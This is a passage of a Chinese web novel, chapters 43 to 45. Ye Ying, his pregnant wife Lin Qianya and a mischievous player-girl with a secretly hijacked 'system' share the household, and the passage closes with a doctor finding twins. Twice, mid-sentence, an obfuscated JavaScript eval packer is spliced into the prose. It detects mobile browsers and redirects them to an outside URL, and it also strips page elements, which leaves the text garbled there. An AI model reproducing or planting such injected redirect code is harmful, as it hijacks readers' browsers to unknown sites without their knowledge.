她说着,自己先忍不住,噗嗤一声笑了出来,眼角都笑出了泪花。 “那我们到时候,可得提前去寻寻,这京城里有没有会给树接生的稳婆才是!” 说完,她自己先绷不住,噗嗤一声笑了出来,肩膀轻轻颤抖着,眉眼弯成了月牙儿。 叶英看着她笑得开怀的模样,看着她眼中闪烁的狡黠和全然放松的依赖,心头最后那点阴霾和不安,也终于被这笑声驱散得干干净净。 他有些无奈,又有些想笑。 最后,也只是伸出手,轻轻捏了捏她的鼻尖,低声道: “胡闹。” 语气里,却带着他自己都未察觉的纵容和宠溺。 43. 世界晋升之路 自云华水月在相府住下,转眼便过了几日。府里倒是难得的平静。 南安王府的丧事办得低调,朝堂上的风波似乎也暂时平息了些。 林承泽依旧忙碌,对府里多出个金灿灿的小客人也只当是女儿心善收留的孤女并未深究。 林芊雅的身子一日日显怀,害喜的症状轻了许多,精神也好了些。 她依旧每日处理些简单的家务,大部分时间便是看书,休息,偶尔在叶英陪伴下在园子里走走。 云华水月被安顿在客院起初还有些拘谨,但没过两天,那股子活泼劲儿就藏不住了,时常在府里溜达,对什么都好奇,尤其爱往观澜院附近凑。 叶英和林芊雅找了个空,又细细问了她一回。 地点还是在观澜院的小厅里,只是这次没有狂风,只有清茶了。 叶英问得直接,关于藏剑山庄,关于他的家人,关于山庄的规矩和剑法。 云华水月答得也流利,许多细节说得有鼻子有眼,甚至连叶英自己某次被父亲责罚后弟弟偷偷送包子的事,她都说了出来,与那日天道试探时他看到的记忆碎片隐隐对得上。 可越是如此,叶英心里那点疑虑反倒更深了。 不是有哪里出错了 恰恰相反,是太详细了。 他失忆了,无法验证真假。 但这小姑娘的出现本身就透着太多的巧合和诡异。 她说她是被天道扔过来的,必须找到他才能回家。这说法,和他自己与那天道的交易何其相似。 他不是没想过直接联系脑海里的那个天道来核实。 可自那夜天谴之后,无论他如何在心底呼唤,那个轻浮油滑的声音再也没有出现过。仿佛那场惊天动地的剑影,耗尽了它所有的力量又或者它只是达成了某个目的,便拍拍屁股隐匿了。 只有体内那股沉睡的庞大而陌生的力量无声地提醒着他,那晚的一切并非幻觉。 可他不敢也轻易动用那力量。 上次的失控还历历在目,后果更是让他至今头疼。 在没有完全掌控以及弄清天道真正意图之前,那力量更像只能用作警示,而非使用的武器。 于是,他只能暂且按下满腹疑惑,选择相信。 或者说,是不得不相信云华水月的话。 至少,她提供的信息,让他那片空白的过去,有了一些模糊的轮廓和名字。 知道自己在另一个世界有家有亲人有责任,这本身就像在黑暗中看到了一点微光,让他心中那份寻找归途的念头,变得更加具体和坚定。 客院里,云华水月正盘腿坐在床上,闭着眼睛,看似在打坐调息,实则在脑海里和她的系统嘀嘀咕咕。 『系统,你说我师父他到底信了没啊?我感觉他看我的眼神还是有点怪怪的。』 脑海里那个懒洋洋的声音响起来: 『信不信的,重要吗?反正你现在住进来了,任务也算完成了一小步。』 『也是。』云华水月想了想,又有点兴奋,『不过师娘人真好,今天还让厨房给我做了新点心!比我之前在杭州吃到的甜一糕好吃多了!就是师父好像还是不太爱理我。啧啧啧,真的很高冷啊。』 『急什么,慢慢来。』 系统的声音依旧没什么起伏,『你现在的首要任务,是融入这里,观察,收集信息。别忘了你回家的条件。』 『知道啦知道啦,推动故事发展,积累那个什么……故事力?』 云华水月撇撇嘴,『说得轻松,怎么推啊?难道要我天天在府里表演大风车?』 她之前用了这么一次。都已经快把相府给拆了再拆几次会被人讨厌的。就连用大风车都还不够浮夸,这破世界到底想要什么样浮夸的故事啊? 真让人头疼。 系统没再接话,似乎又休眠了。 云华水月习惯了系统的神出鬼没也没在意,自顾自地琢磨起接下来该怎么刷师父和师娘的好感度,顺便完成那模糊的推动故事任务。 她完全不知道,此刻,就在她所处的这个世界的上方,一道无形的视线正静静地看着她。 那是纯阳子。 他并非实体降临,更像是一缕附着在系统底层规则上的至高意念,借助这个被他改造过的通道,观察着这个世界,尤其是这个被他亲手投放过来的小姑娘,以及她所接触的叶英和林芊雅。 纯阳子的目光扫过云华水月身上那套金光闪闪的校服,又看了看她脑海里那个已经被他抹去原初灵智、只剩下他模拟出来的交互外壳的系统界面,忍不住在虚空里哼了一声。 “幸好这小破落户因为力量透支又陷入沉睡了。”纯阳子的意念波动带着一丝庆幸和不易察觉的得意,“要不然,以它那抠门又警觉的性子,老夫想这么悄无声息地钻进来,还得费点手脚。” 他说的小破落户,自然就是明朝世界的天道。 这事还得从不久前说起。 大概就在叶英于明朝世界闹出天谴前后,在他大唐世界的边缘逮住了一个鬼鬼祟祟试图偷渡窃取世界本源和气运的系统。 系统这玩意儿,在他们这些古老存在看来,也算是诸天万界里一种臭名昭著的害虫了。 它们没有固定形态,更像是一种遵循特定掠夺逻辑的诡异造物或外来规则聚合体。 很难说最开始的来源到底是出自哪个世界?只知道当所有神明都对他们有所了解的时候,便给起了个系统的名字。大概意思也就是说会借用那些小说里的所谓金手指来操控别人的人生。 它们专门寻找那些诞生不久、规则不全或内部动荡的世界下手,绑定一些通常是它们从其他高□□定世界绑架或诱骗来的灵魂,发布各种破坏性任务,攫取世界的故事力,命运之力、气运等本源能量同时又残害本世界的npc。 这些系统身上,往往都沾满了世界破灭的因果和怨气。 它们的目的不是共存,而是榨干。 一旦放任不管 每吞噬一个世界的能量后,就会抛弃残骸,寻找下一个目标。 跟它们比起来,明朝那个偷偷啃点灵气算计个把人去推动世界晋升的天道,简直可以称得上温和甚至是有追求了。 纯阳子对明朝天道投鼠忌器,是因为强行破界可能导致两个世界受损,那份因果他担不起。可面对这种本身就是毒瘤灭了还有功德拿的系统,他可就没那么好脾气了。 他正憋着一肚子火没处撒呢,这玩意儿撞上门来,简直是送上门来的出气筒。 于是他没客气直接出手,以碾压之势将那系统的核心灵智彻底抹除,只留下一个纯净的无主的规则框架和能量池。 做完这些,他才注意到被系统绑定来的那个灵魂,一个来自某个科技侧现实世界玩着名叫剑侠情缘三游戏网名叫云华水月的普通小姑娘。 这小姑娘的灵魂被系统强行拘来,塞进了一个用能量模拟的基于她游戏账号数据的躯体里,正准备被投放去某个低武世界执行崩坏剧情的任务。 纯阳子探查了一下,这女孩身上并无恶业,灵魂本质清澈,只是倒霉被系统选中了。 若他不管,她最终要么任务失败被系统吞噬,要么在无尽的穿越任务中迷失自我。 纯阳子并非嗜杀冷酷之辈。面对一个并无恶意只是被卷入的无辜者,他也没打算顺手灭了。原本是想直接将她灵魂抽离,妥善送返原世界的。 可就在他准备动手时,目光却落在了那个被他抹去灵智、只剩下空壳和部分功能的系统底座上。 一个念头忽然闪过。 系统这东西,最擅长什么? 当然是钻空子,跨世界传送,绑定宿主,发布任务,收集数据…… 而他现在最需要什么? 了解明朝世界的情况,探查那个天道扣下叶英不还的真正目的,甚至或许能做点什么。 现成的工具,不就摆在眼前吗? 纯阳子看着懵懂无知还在系统残留指令影响下有些茫然的云华水月的灵魂,又看了看那个系统空壳。 “罢了,也算你我有缘。” 纯阳子意念微动,“老夫便借你这机缘,行一桩事。若成,许你一场造化,助你归家;若不成……也不会比落在原系统手里更糟。” 于是,他改变了主意。 他没有送云华水月回去,而是亲自动手,以自身浩瀚的修为和对规则的深刻理解接管并改造了那个系统空壳。 他清除了所有原系统的掠夺性指令和恶意任务,保留了其跨世界连接、信息处理、技能模拟等基础功能,并顺手将大唐世界藏剑山庄以及其他一些门派的武学招式、心法要义,以这个女孩能理解的游戏技能形式,封装了进去。然后模拟出原系统那种机械化的说话方式,给自己套了个系统的马甲。 最后,他就趁着明朝天道似乎因为某种原因力量透支陷入短暂深度沉睡对世界屏障监控降至最低的绝佳时机,操控着这个伪系统,把云华水月的灵魂和躯体精准地投送到了明朝世界,京城,丞相府附近。 做完这一切,纯阳子才算是真正松了口气。 他蹲在系统的底层,借助云华水月的眼睛和耳朵,观察着这个世界。 可越看,他越是心惊,也越是恍然。 首先惊的是这个世界的虚浮。 规则不全,许多人和事都透着一种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224208|197544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 模板化的剧情感,仿佛一个勉强运行的程序,到处都是漏洞和补丁。 难怪那天道急吼吼地要晋升。 其次惊的是林芊雅。 第一次借着云华水月的视角看清林芊雅时,纯阳子就忍不住倒吸一口凉气。 在他这等存在的眼中,看人与常人不同。 他能直接看到生灵与世界的因果线。寻常人身上的因果线,或粗或细,或明或暗,连接着父母、亲友、仇敌、经历过的重大事件等等。 可林芊雅…… 她身上的因果线,已经不能称之为线了。 那是密密麻麻层层叠叠几乎将她整个人都包裹起来的茧!无数道或粗壮或细微的因果,从她身上延伸出去,另一端却并非连接着某个具体的人或事,而是直接没入了这个世界的虚空深处,与整个世界的基础规则命运脉络紧紧纠缠在一起! 那不是一个人背负着一些因果。 那简直是……整个世界的重量和未来,都压在了这个看似单薄病弱的少女身上! 纯阳子活了无数岁月,见过大气运者,见过天命之子,见过世界眷顾之人,但像林芊雅这样,因果浓密到如此骇人地步的,他还是头一回见。 这已经不是女主能形容的了。 这分明是此方世界自行孕育出的独一无二的亲闺女,是世界试图从虚浮走向真实所必需的基石和锚点! 难怪……难怪那个明朝天道如此执着地要留下叶英,促成他们的结合。 两者结合,诞育的后代,将兼具两个世界的特质,成为连接真实与虚幻稳定新世界规则的绝佳节点。同时,他们二人共同经历的命运波澜、情感纠葛、所作所为,都将产生强大的故事力,这正是推动世界晋升所需的燃料! 好算计!真是好算计! 纯阳子想通了这一切,心中对明朝天道的观感复杂了几分。 那家伙行事虽然无赖油滑,但在关乎世界存续晋升的根本大计上,眼光倒是毒辣,布局也够深远。 只是…… 纯阳子的目光再次落在林芊雅身上,那密密麻麻的因果茧让他心中叹息。 这小姑娘,命途何其坎坷啊。 承载一界之重,听起来荣耀,实则凶险万分。 世界晋升之路,必然伴随剧烈的动荡和反噬。她作为核心,首当其冲。那份压力,岂是她能轻易承受的? 更让纯阳子心情复杂的是,他其实是认识林芊雅的。 早在当初那个天道求他救她的时候,他就隐隐约约已经知道这个天道在下一盘大棋了。 只是和那时候才几岁的那个小姑娘身上虽然也有些特殊之处却完全没像现在这样身上缠绕的密密麻麻,全是因果丝线。 直到此刻,借着云华水月的眼睛,他才确定了这个事实。 纯阳子沉默了片刻。又忍不住叹息一口。就连某些真实世界的其他神灵都不一定做成的事,这个天道也真是敢想。 他看着观澜院里,叶英正小心地扶着林芊雅在廊下慢慢走动,林芊雅微微侧头对他笑着说什么,叶英虽没什么表情,但眼神专注。 他又看了看客院里正绞尽脑汁想着怎么完成系统任务的云华水月。 最后,他的意念投向这个世界深层依旧在沉睡恢复的明朝天道意识。 “叶英小子,”纯阳子在虚无中低语 “老道能帮你的,也就到这儿了。” “这小姑娘……”他指的是林芊雅,“命途已定,枷锁沉重。那天道想走的路,前所未有,成败难料。未来是福是祸,是涅槃重生还是……皆看你们自己的造化了。” “至于回家之路……”纯阳子的意念扫过叶英,“先顾好眼前吧。若此界真能晋升成功,稳固下来,你那归途,或许反倒会清晰几分。若失败……” 他没说下去。 但意思很明显,世界若崩塌,困于此界的叶英,恐怕也难有善终。 纯阳子收回大部分意念,只留下一缕维持着系统的基本运转和观察就继续回到大唐去梳理山川脉络了。 他需要继续潜伏,等待时机,也看看这被他无意中推动了一下的棋局,最终会走向何方。 而下方,丞相府内,阳光正好。 林芊雅走累了,叶英便扶她在廊下的美人靠上坐下,自己站在一旁,目光习惯性地望向庭院,却又在下一刻收回,落在妻子微微隆起的小腹上。 云华水月终于想出了一个推动故事的主意,兴奋地跑出客院,决定去厨房研发几样新式点心,先讨好师娘的胃。 纯阳子看着这一切,在无人知晓的虚空深处,轻轻叹了口气。 这盘棋,才刚刚开始。 44. 叶英也爱吃西湖醋鱼吗? 自打云华水月在相府住下,这原本因为女主人有孕而格外静谧的宅院,便再没真正消停过。 倒也不是什么了不得的麻烦,只是这小姑娘似乎有用不完的精力和……无穷无尽的、让人哭笑不得的奇思妙想。 林芊雅这几日就见识了不少。 比如前日晌午,日头正好,几个小丫鬟在廊下晾晒洗净的衣物床单。云华水月路过,瞧见她们踮着脚有些费力,顿时“侠义心肠”发作,一拍小胸脯:“放着我来!” 不等丫鬟们反应,她便抽出那柄金灿灿的重剑,回忆着师父那晚沉默中带着无语的眼神,但也兴致勃勃地大喝一声:“风——来——” “别!”路过的林芊雅恰好看见,心道不好,连忙出声阻止。 可已经晚了。 “——吴山!” 一股不大不小的旋风平地而起,倒是精准地卷起了竹竿上湿漉漉的衣物,呼啦啦地快速旋转甩干。效率是挺高,可那风力控制得实在粗糙,几件轻薄的里衣和中衣被卷得脱离了竹竿,其中一件月白色的女子寝衣更是不偏不倚,兜头罩在了正站在廊下说话的林芊雅身上。 旋风散去。 林芊雅僵硬地站在原地,头上顶着件半湿的寝衣,领口微敞,露出脖颈和锁骨处昨夜的几道浅浅红痕。 ……她的形象啊…… 旁边几个小丫鬟先是一愣,随即看到小姐这难得狼狈又茫然的样子,尤其是颈间的那几处红痕,想笑又不敢,一个个憋得肩膀直抖,脸都涨红了,连忙低下头去,装作什么都没看见。 云华水月也傻了,看看自己手里的剑,又看看头上顶衣服、脖颈泛红痕的师娘,眨了眨眼,小声嘀咕:“……好像……用力过猛了?” 林芊雅默默将头上的寝衣拿下来,理了理微乱的鬓发,又抬手摸了摸脖颈,看着指尖并无血迹,只是有些火辣辣的。她抬眼看向一脸心虚往叶英身后缩的云华水月,又看看旁边几个忍笑忍得辛苦的丫鬟,最终只是无奈地叹了口气,对云华水月招招手。 “水月,过来。” 云华水月磨磨蹭蹭地走过来。 林芊雅拿起那件寝衣,塞回她手里,语气温和却不容置疑:“去,帮姐姐们把衣服重新晾好。记住,下次帮忙前,先问问别人需不需要,怎么帮。” 云华水月蔫头耷脑地应了:“哦……” 再比如用饭的时候。 这日厨房新做了一道炸鸡,是面粉裹了淀粉里头又加了花椒,大师傅精心炸的,外皮酥脆,内里鲜嫩多汁,香气扑鼻。 云华水月眼睛亮晶晶地盯着那盘鸡,夹起一只肥嫩的鸡腿,却不下口。她盯着那鸡腿看了半晌,眼圈忽然就红了。 林芊雅和叶英都有些莫名,以为她是想起了什么伤心事。 结果就见她举着鸡腿,对着虚空,眼泪汪汪地开始念叨: “师兄……你死得好惨啊……” 叶英夹菜的手顿了顿。 林芊雅:“……” 云华水月吸了吸鼻子,咬了一口鸡肉,一边嚼一边含混不清地继续:“呜……师兄,你好香啊……” 她又咬了一大口,腮帮子鼓鼓的,眼泪却掉得更凶了:“师兄……你……你还能多长几条腿吗?我还想再吃几口……” 叶英默默放下了筷子。 林芊雅扶额,哭笑不得,示意春华给她递块帕子擦脸,温声道:“慢些吃,没人跟你抢。厨房还有。” 云华水月接过帕子胡乱擦了擦脸,哽咽着点头:“嗯!谢谢师娘!师兄虽然死了,但他永远活在我的胃里!” 叶英觉得这顿饭有点吃不下去了。 夜深人静时,偶尔还能听到客院那边传来小姑娘唉声叹气的自言自语,什么“没有手机,没有电脑,没有平板,好无聊啊呜呜呜……”“想刷微博,想追番,想打游戏……”“这个世界连个表情包都没有,交流全靠眼神和脑补,太难了……”诸如此类,听得守夜的婆子一头雾水,只当是小孩子说梦话。 林芊雅有几次散步时隐约听到,也只是摇摇头,随她去了。 这孩子言行是怪了些,但眼神清澈,并无坏心,只是想法天马行空,与周遭格格不入罢了。 这日午后,林芊雅在观澜院小憩醒来,正靠着引枕看书,隐约听见外面有细碎的脚步声和云华水月压低的笑声,似乎在和谁说话,又像是自言自语。 “……嘿嘿,以前在游戏里的时候就很好奇这个问题了,现在终于有机会了,让我来试试看……” 林芊雅没太听清具体内容,只当这丫头又琢磨什么新花样,摇了摇头,也没在意,继续看自己的书。 她不知道的是,此刻的云华水月,已经揣着一肚子“坏水”,溜达到了小厨房附近。 厨房里正忙着准备晚膳,油烟蒸腾,人来人往。 云华水月仗着身材小,动作灵活,趁厨娘转身取料的功夫,像只泥鳅似的钻到了角落一个空闲的灶台边。 她左右看看,确认无人注意,脸上露出一个贼兮兮的笑容,小手在虚空中一掏—— “当当当当!” 她压低声音,对着只有自己能看见的系统界面炫耀般地小声喊道。 “【西湖醋鱼】(品质:精制)!嘿嘿,系统出品,必属精品!跟杭州楼外楼的招牌一个味儿!” 系统那模拟出来的机械音似乎都沉默了一瞬,然后才幽幽响起:『你确定……你真的想用这个“推动剧情”?』 云华水月理直气壮,在心里回道:“那当然!还有比这更能推动剧情的吗?庄花!西湖醋鱼!经典搭配!哪个玩藏剑的不好奇庄花吃西湖醋鱼是什么反应?我这叫满足广大同门的好奇心,顺便帮你积累故事能量,一举两得!” 系统:『……我怎么觉得,你纯粹就是想看热闹呢?』 云华水月:“哎呀,看破不说破嘛!再说了,任务完成度不也涨了吗?你就说这算不算推动剧情吧!” 系统似乎被她这歪理噎住了,半晌没吭声。 云华水月才不管系统怎么想,美滋滋地将那道系统出品的、色香味俱全的西湖醋鱼从虚拟背包里“取”了出来,悄无声息地混入了已经准备好的几道晚膳菜品中。 晚膳时分,菜式一一摆上。 林芊雅扫了一眼,目光在那盘突兀出现的、色泽红亮、酸甜气息浓郁的西湖醋鱼上停顿了一下,几不可查地蹙了蹙眉。 夫君的口味她清楚,偏好清淡,对酸甜口、尤其是醋味重的菜肴向来兴致缺缺。她自己因有孕在身,近来也不喜过于刺激的味道。厨房管事是府里的老人了,不该不知道这些。 许是今日采买了新鲜的鱼,厨房顺手做了?或是水月那孩子提了要求? 她没多想,左右不过一道菜,不爱吃便不动筷就是了。待会儿用完膳,让春华去厨房说一声,日后不必再上这道菜便是。 叶英的反应更直接,目光掠过那盘鱼,毫无停留,仿佛那只是桌上一件无关紧要的摆设,径自夹了旁边清爽的笋丝。 然而,有人偏偏不想让这道菜被无视。 云华水月坐在下首,眼睛滴溜溜地转着,看看那盘鱼,又看看神色淡然的师父师娘,心里那点恶作剧的小火苗蹭蹭往上冒。 她拿起公筷,脸上堆起天真无邪、乖巧热情的笑容,先给林芊雅夹了一筷子她爱吃的清炒时蔬:“师娘,您多吃点,对身体好!” 林芊雅含笑点头:“水月有心了。” 接着,云华水月手腕一转,筷子精准地伸向那盘西湖醋鱼,夹起一块腹部最肥美、沾满了浓稠酸甜芡汁的鱼肉,稳稳当当地放进了叶英面前的碟子里。 “师父,您也尝尝这个!这鱼看着可好吃了!”她眨巴着大眼睛,声音脆生生的,充满了“孝心”。 叶英拿着筷子的手,顿在了半空。 他缓缓低头,看向自己碟子里那块油亮红润、散发着独特酸甜气味的鱼肉。 然后,他抬起眼,目光平静无波地看向云华水月。 那眼神里没什么怒气,甚至没什么情绪,只是一片深沉的、仿佛能看透一切本质的寂静。 云华水月被这目光看得心里一虚,脸上的笑容差点没挂住,但她强撑着,继续扮演贴心小棉袄,甚至作势又拿起了公筷,瞄向了盘子里另一块鱼鳃旁的嫩肉:“师父,这块也好!胶质多,最是滋补!” 这下,连林芊雅都看出不对劲了。 她看看那盘平时绝不会出现在他们餐桌上的西湖醋鱼,看看夫君碟子里那块突兀的鱼肉,再看看云华水月那过度热情、眼底却藏着一丝兴奋和期待的模样,心中了然。 这丫头,是故意的。 她大概又从哪儿听说了什么,或者自己又胡思乱想了什么,于是特意弄了这道菜来“试探”或者“逗弄”夫君。 林芊雅有些好笑,又有点好奇夫君会如何反应。她没出声,只是端起汤碗,轻轻吹了吹,目光饶有兴致地在两人之间流转。 叶英与云华水月对视了足足三息。 就在云华水月以为师父要冷着脸把鱼肉拨开,或者干脆不理她的时候,叶英动了。 他什么也没说,甚至连眉头都没皱一下。 只是重新拿起自己的筷子,夹起碟子里那块西湖醋鱼,送入口中,缓慢而认真地咀嚼了几下,然后喉结滚动,咽了下去。 全程面无表情,仿佛吃的不是一道口味特殊的菜肴,而是一口白米饭。 吃完,他放下筷子,端起手边的清茶,抿了一口,冲淡口中的味道。然后,就像什么都没发生过一样,继续夹别的菜,安静地用饭。 云华水月:“……” 师父这反应……太平淡了吧?难道不好奇?不疑惑?不觉得这菜出现得蹊跷?还是说……他其实挺爱吃的? 坏了,看来庄花还真喜欢吃西湖醋鱼…… 她心里猫抓似的痒,任务完成的提示音在脑海里响起,可她一点成就感都没有,反而有点郁闷。就像蓄力半天一拳打出去,却砸进了棉花里。 林芊雅将这一切看在眼里,差点没忍住笑出声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224209|197544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 她不只觉得云花水月也有趣。就连夫君的应对方法,她也觉得极为有趣。尤其是夫君那张冷脸被熊孩子逗弄的表情崩灭更有趣了 这顿饭就在云华水月略微郁闷、叶英一如既往的平静、林芊雅暗自好笑中结束了。 饭后,林芊雅有些乏了,叶英照例陪她在廊下走了走,便送她回房歇息。 从卧房出来,叶英在廊下站了片刻,目光投向客院的方向。 他向来不是个爱计较的人,但也不是没脾气。 尤其这小姑娘,这几日闹腾得实在有些过火。晾衣服那事虽是无心,却也惊扰了芊雅。今日这西湖醋鱼,明显是刻意为之。 徒弟? 叶英想起自己那点模糊的记忆碎片里,父亲教导自己和弟弟们时的严格。虽不记得具体如何,但总觉着,若真是他的徒弟,这般跳脱浮躁、行事不知轻重,是该好好管教的。 他虽失忆,但某些刻在骨子里的东西,似乎并未改变。 想到这里,叶英转身,步履平稳地朝客院走去。 云华水月刚在自己房里对着系统界面,看着那涨了一截的任务完成度,正摸着下巴琢磨下一个“推动剧情”的点子,是表演个“云飞玉皇”给师娘看个“烟花”呢,还是再用“九溪弥烟”帮忙给花园松松土…… 房门被轻轻叩响。 “谁呀?”她随口问道,走过去开门。 门打开,叶英一身碧蓝常服,白发如雪,静静立在门外。廊下的灯笼光映着他没什么表情的侧脸,额角的梅花印记在光影中显得格外清晰。 云华水月心里咯噔一下,莫名有点慌:“师、师父?您怎么来了?” 叶英看了她一眼,目光落在她背后那对轻重剑上,语气平淡,听不出喜怒: “今日你夹的鱼,不错。” 云华水月眼睛一亮,难道师父其实是喜欢的?所以来找她探讨美食? 下一秒,就听叶英继续道: “礼尚往来。为师,也指点你一二。” 他侧身,让出通往庭院的路,声音依旧没什么起伏:“去拿你的剑,到院中来。” 云华水月:“……啊?” 一刻钟后。 相府后花园的空地上,月色皎洁。 云华水月苦着小脸,双手握着那柄对她来说颇为沉重的重剑,一次又一次,机械地重复着最基础的劈砍动作——挥剑。 不是风来吴山,不是云飞玉皇,没有任何华丽的特效和名称。 就是最朴实无华、最耗费气力的,向上举起,然后用力向下劈砍。 叶英抱臂站在一旁,身姿挺拔如松,目光落在她的动作上,偶尔出声纠正: “腕不稳。” “下盘虚浮。” “腰腹未发力,全靠手臂。” “呼吸紊乱。” “继续。” 他的声音不高,却带着一种不容置疑的意味。 云华水月起初还试图撒娇耍赖:“师父……我手酸了……”“师父,能不能换个招式练啊?比如夕照雷锋?那个帅!” 叶英只回她两个字:“挥剑。” 云华水月欲哭无泪。 她算是明白了,师父这是用他的方式,“感谢”她夹的那块西湖醋鱼呢! 她一边机械地挥剑,一边在心里哀嚎:庄花!你公报私仇!你小心眼!你欺负小孩! 然而,看着叶英那平静无波却莫名透着威严的眼神,她所有的抗议都憋了回去,只能咬着牙,继续一下,又一下地挥剑。 叶英心中其实也有些微妙。 他并不真认为这样枯燥的基础训练能立刻让这跳脱的丫头沉稳下来,但这似乎是他本能觉得应该做的事。就像自己,如果练剑偷懒,父亲大概也会这样罚他。 至于具体挥多少下…… 他看着云华水月那龇牙咧嘴又不敢停的样子,想起她这几日上蹿下跳的精力,心中默默定了个数。 一千次。 不多不少。 正好让她长长记性。 夜色渐深,花园里只剩下单调而沉重的挥剑声,以及小女孩越来越粗重的喘息。 偶尔有巡夜的婆子路过,瞧见这景象,都忍不住缩缩脖子,加快脚步离开,心里嘀咕:姑爷教徒弟,可真严啊…… 林芊雅在房中并未睡熟,隐约听到外面持续不断的动静,唤来春华一问,得知原委,忍不住倚在窗边,朝花园方向望了望。 月光下,那小小的金色身影还在笨拙而坚持地挥动着巨大的剑刃,而自家夫君则静静立在阴影处,像一座沉默的山注视着这一切。 她摇摇头,嘴角却弯起一抹温柔的弧度。 这师徒俩……倒也奇怪得和谐。 只是,她摸了摸自己微隆的小腹,心中忽然闪过一个念头: 将来这孩子若也是个调皮捣蛋的,他爹爹会不会也这样,用最直接又让人无言以对的方式,来“教导”呢? 想着想着,她竟有些期待起来。 45. 原来是双胎…… 时至深秋,日子也一天天过去。 林芊雅的肚子都像吹了气的皮球一样,眼见着就鼓了起来。 这日午后,她靠在窗边的软榻上,身上盖着层薄被,手无意识地搭在高高隆起的腹部,指尖轻轻摩挲着。 叶英就站在榻边,离她很近却没坐下也没走动,只是就那么安静地守着她。 他脸上依然没什么表情,目光却一直定定的落在她身上,尤其是她那只搭在肚子上的手上。 春华轻手轻脚地端了药进来,林芊雅接过,眉头都没皱一下,小口小口地喝完了。 但又递上清水和蜜饯时,却她只漱了漱口,蜜饯也没动便让拿下去了。 屋里又静下来。只余下夫妻二人。 这已经是这个月第三次请大夫了。 其实林芊雅这胎怀得并不轻松。 头三个月是吐得天昏地暗,吃什么吐什么,人眼见着就瘦了一圈,下巴尖得能戳人。 叶英那时就整日守着她,看她吐得脸色发白,他眉头就拧得死紧,却不知该做什么,只能一遍遍递温水,递帕子。 好不容易熬过了害喜最厉害的时候,胃口是回来了一些,可这肚子鼓起来的速度却快得吓人。寻常妇人怀胎五月,肚子也不过刚刚显怀,可她这……瞧着倒像是六七个月的样子。 林芊雅面上看着还算平静,该喝药喝药,该走动走动,偶尔还能和云华水月说笑几句。 可她自己心里不是不慌的。 她是头一回做娘,又自幼体弱,看着自己这异于常人的肚子,哪能不多想? 夜里睡不着时,手摸着那小腹处的隆起心中便沉甸甸的,各种凄惨画面止不住地往外冒。 叶英心里就更沉了。 他虽不懂女子孕事,但也看得出她这胎怀得艰难。 她每多吐一次,每多吃不下一点东西,每回摸着肚子露出那点不易察觉的忧色,他心里就像被什么东西揪着闷闷地疼。 云华水月这些日子倒是成了府里的开心果,上蹿下跳,变着法子逗乐,一会儿表演个蹩脚的剑舞,一会儿又不知从哪儿弄来些新奇的小玩意儿献宝。 有她在,屋里确实多了不少笑声。 可笑声归笑声,可该担心的事是一件都不少的。 就像此刻,大夫还没来,屋里便静得有些压抑。 叶英的目光从她脸上移到肚子上,又移回她脸上。 他想说点什么,张了张嘴,却发现自己什么也说不出来。安慰的话太苍白,保证的话又太无力。他只能这样站着,陪着她等。 脚步声由远及近,老大夫提着药箱进来了。 林芊雅坐直了些,叶英也往前挪了半步。 老大夫行了礼,取出脉枕让林芊雅伸出手腕搁在上面。 屋里静得只剩下呼吸声。 叶英盯着老大夫搭在她腕上的手指,盯着他花白的眉毛和微微阖着的眼睛,连自己的呼吸都放轻了。 生怕听到些不好的消息。 老大夫诊了左手,又换了右手。他似乎在思考些什么,实际上这时间是很短的,但对叶英来说时间似乎过得格外慢。 终于,老大夫收回了手,捋着胡子思索,沉吟着没立刻开口。 叶英心里一紧,先开了口,声音有些发干:“大夫,如何?” 老大夫抬眼看了看他,又看了看神色平静却指尖微微蜷缩的林芊雅,这才缓缓道:“夫人脉象……目前来看,胎气还算稳固。之前二位忧心肚子增长过快,老夫今日细诊,倒是可以确定缘由了。” 他顿了顿,看向林芊雅:“夫人怀的,是双胎。” 双胎? 林芊雅愣住了。 叶英也怔了一下。 两人对视一眼,都从对方眼中看到了惊讶,随即,那沉甸甸压了许久的心好像终于松快了起来。 原来是两个。 难怪肚子这么大。 林芊雅下意识地又摸了摸肚子,心里那点莫名的恐慌,忽然就散了大半。 不是她身子有什么古怪,只是怀了两个孩子。 叶英紧绷的肩膀也几不可查地松了松。他看向老大夫,等着他后面的话。 老大夫看着他们神色稍缓,却叹了口气,胡子抖了抖,继续道:“不过……” 这一个不过,让两人刚松下去的心又提了起来。 林芊雅抬眼看他,叶英的目光也重新变得锐利。 “不过什么?”叶英问。 老大夫斟酌着词句,说得缓慢:“夫人本就先天体弱,气血不足。怀一胎已是艰辛,如今双胎在腹,所需滋养更倍于常人。往后数月,须得万分精心调养,若能安然熬到足月生产,便是万幸。可若……” 他停了下来,没再说下去。 可若什么? 若熬不到足月呢? 若中途出了什么岔子呢? 若生产时…… 后面的话,不用他说,屋里的人都听懂了。 一时间,屋里静得可怕。 春华站在一旁,眼圈一下子就红了,连忙低下头,用袖子擦了擦眼角。其他几个伺候的丫鬟也都低了头,脸上是掩不住的担忧和难过。 小姐的命怎么就这么苦? 从小没了娘,长大了又被那般羞辱退婚,好不容易嫁了个疼她的姑爷,怀了孩子,却又这般凶险…… 叶英只觉得胸口像是被什么东西狠狠撞了一下,闷疼得厉害。他看向林芊雅,她依旧坐在那里,脸上没什么表情,只是搭在肚子上的手,指尖微微有些发白。 